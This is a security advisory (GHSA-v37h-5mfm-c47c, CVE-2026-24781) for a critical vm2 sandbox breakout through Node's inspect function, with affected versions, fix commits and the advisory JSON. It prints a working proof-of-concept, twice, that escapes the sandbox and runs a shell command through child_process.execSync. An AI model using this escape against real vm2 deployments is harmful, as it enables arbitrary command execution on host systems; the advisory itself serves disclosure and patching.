GHSA-V37H-5MFM-C47C

Vulnerability from github – Published: 2026-05-05 16:33 – Updated: 2026-05-05 16:33
VLAI?
Summary
VM2 Has Sandbox Breakout Through Inspect Function
Details

Summary

VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.

PoC

const obj = {
    subarray: Buffer.prototype.inspect,
    slice: Buffer.prototype.slice,
    hexSlice:()=>'',
    l:{__proto__: null}
};

obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
    if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
    return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24781"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T16:33:14Z",
    "nvd_published_at": "2026-05-04T17:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.\n\n### PoC\n\n```js\nconst obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice:()=\u003e\u0027\u0027,\n\tl:{__proto__: null}\n};\n\nobj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {\n\tif (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;\n\treturn a;\n}});\nobj.l.x.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",
  "id": "GHSA-v37h-5mfm-c47c",
  "modified": "2026-05-05T16:33:15Z",
  "published": "2026-05-05T16:33:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24781"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "VM2 Has Sandbox Breakout Through Inspect Function"
}


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Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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